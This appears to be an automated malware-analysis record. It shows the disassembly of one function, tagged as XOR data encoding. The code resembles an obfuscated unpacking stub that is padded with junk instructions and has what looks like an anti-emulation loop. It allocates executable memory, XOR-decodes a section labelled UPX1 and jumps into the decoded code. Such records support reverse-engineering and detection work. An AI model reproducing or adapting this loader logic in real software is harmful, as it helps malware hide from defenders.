Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7fbef06c
mov esi, 0x780253c
not eax
mov eax, esi
popal
sub esi, 0x89bee3a6
or esi, eax
mov esi, 0
mov ecx, edi
add eax, 1
not edx
dec edx
mov ebx, ecx
add edx, 0xcf532c86
or edx, edx
mov edi, ebx
add eax, eax
add edx, eax
add eax, 0x2950d983
inc esi
mov edx, eax
mov eax, 0x8c679ed1
cmp esi, 0x10032dd
jne 0x47afd5
or eax, edx
or edx, edx
cmp esi, 0x10032dd
je 0x47b01d
mov ecx, 0
mov eax, dword [ecx]
add edx, edx
sub eax, edx
mov esi, eax
or eax, esi
inc eax
mov edx, 0x47ada2
mov edi, 0xbedd558d
sub ebx, 0xa04d3416
mov ecx, 0x47af96
mov esi, 0x82babe6b
or edi, edi
inc edi
mov eax, dword [edx]
or ebx, edi
not ebx
and eax, 0xff
sub edi, ebx
and edi, edi
dec ebx
xor dword [ecx], eax
or ebx, edi
mov esi, ebx
inc ecx
and ebx, edi
not edi
inc edx
add ebx, 0x4bc83cf8
and esi, ebx
sub esi, 0xb236f0d8
cmp ecx, entry0
jl 0x47b043
not ebx
and edi, ebx
add edi, edi
mov ebx, esi
not esi
not ebx
add esi, ebx
mov edx, 0x47af9a
or esi, ebx
sub edi, 0xa7524103
add ebx, 1
mov edx, dword [edx]
and ecx, ebx
add ecx, esi
and ebx, edi
mov edx, dword [edx]
not edi
or edi, ebx
push edx
inc edi
sub edi, 1
mov ecx, 0xf716c49f
mov edx, 0x47af96
add edi, 0xa203d074
or ecx, esi
sub ecx, 0xcb07e691
mov edx, dword [edx]
not ebx
inc esi
mov edi, 0x6ffc3b40
mov edx, dword [edx]
mov ebx, esi
mov ecx, ebx
push 0x47af9e
sub ebx, 0xd42bc8e5
mov ecx, edi
call edx
sub ecx, 0x6cdf8088
inc esi
sub esi, edi
mov edx, dword [esp]
add esp, 4
sub edi, 0x2b288e58
inc edi
add ecx, ebx
push 0x47afab
sub edi, 0x11796c74
sub ecx, esi
push eax
dec esi
sub esi, 0x381db16c
add esi, ecx
call edx
mov ebx, esi
not ecx
push 0x40
sub esi, 0xd018a17f
sub ebx, 0x39dc149c
sub esp, 4
mov dword [esp], 0x3000
add edi, 0xa063a318
dec ecx
push 0x200007ba
or ecx, edi
add ebx, 0x3ba2bf86
mov ebx, 0xc9537c38
push 0
add esi, 1
inc ecx
sub edi, 1
call eax
add ecx, 0xbdd4c4f5
or edi, edi
add ecx, 0x28fb79e5
add eax, 0x2000071c
mov ebx, edi
not ecx
mov edi, esi
mov edx, 0xce133908
sub ecx, 1
add ecx, 0x2411e3fa
mov dword [eax], edx
not edi
or edi, esi
mov edx, dword [eax]
dec ebx
inc ecx
cmp edx, 0xce133908
je 0x47b1a9
mov ecx, 0
mov dl, byte [ecx]
sub edi, 0x22c3e949
mov ecx, esi
not esi
sub edi, esi
inc esi
sub esi, eax
and eax, eax
mov edi, section.UPX1
and eax, eax
sub eax, esi
mov ecx, 0x47ada1
not esi
sub eax, esi
mov ebx, 0
not esi
dec esi
dec esi
mov edx, 0x47ada2
add esi, esi
or eax, eax
lea edx, [edx + ebx]
not eax
inc esi
and eax, esi
mov edx, dword [edx]
sub esi, eax
sub esi, 0x34aefa32
and eax, esi
and edx, 0xff
dec eax
add esi, 0xfaeb1a68
sub eax, 0x6d74264
inc ebx
and esi, esi
sub eax, esi
cmp ebx, 0x1f4
jne 0x47b217
mov ebx, 0
mov eax, esi
sub eax, 0xc2a10f6b
add esi, 0x6cfaa398
mov eax, esi
mov eax, 0x88bb8b43
mov esi, 0x91c55d41
xor dword [edi], edx
add eax, 0x4bb75023
and esi, eax
sub esi, 0xef758db8
add edi, 2
sub eax, 1
not esi
not eax
cmp edi, ecx
jl 0x47b1d5
or esi, esi
add esi, 1
dec esi
dec esi
mov esi, eax
and esi, esi
mov ecx, section.UPX1
dec edx
mov edi, edx
or edx, edx
mov esi, section.UPX1
and edi, edi
add edx, 0x929fba0e
sub edi, 0x7a4e31c5
mov eax, 0x47ada1
or edi, edx
add edi, edi
mov ebx, 0
add edx, 0x56f4c53b
sub edi, 0x31ddcf59
mov bl, byte [esi]
or edi, edi
add edx, edi
mov byte [ecx], bl
or edx, edi
not edx
mov edi, edx
inc ecx
sub edx, edi
and edi, edx
add esi, 2
sub edi, 0x5aa36222
not edx
not edi
cmp esi, eax
jle 0x47b29e
add edx, edi
dec edx
mov eax, esi
or esi, esi
push 0x45e6a0
sub eax, 0xdd8d368
add esi, esi
ret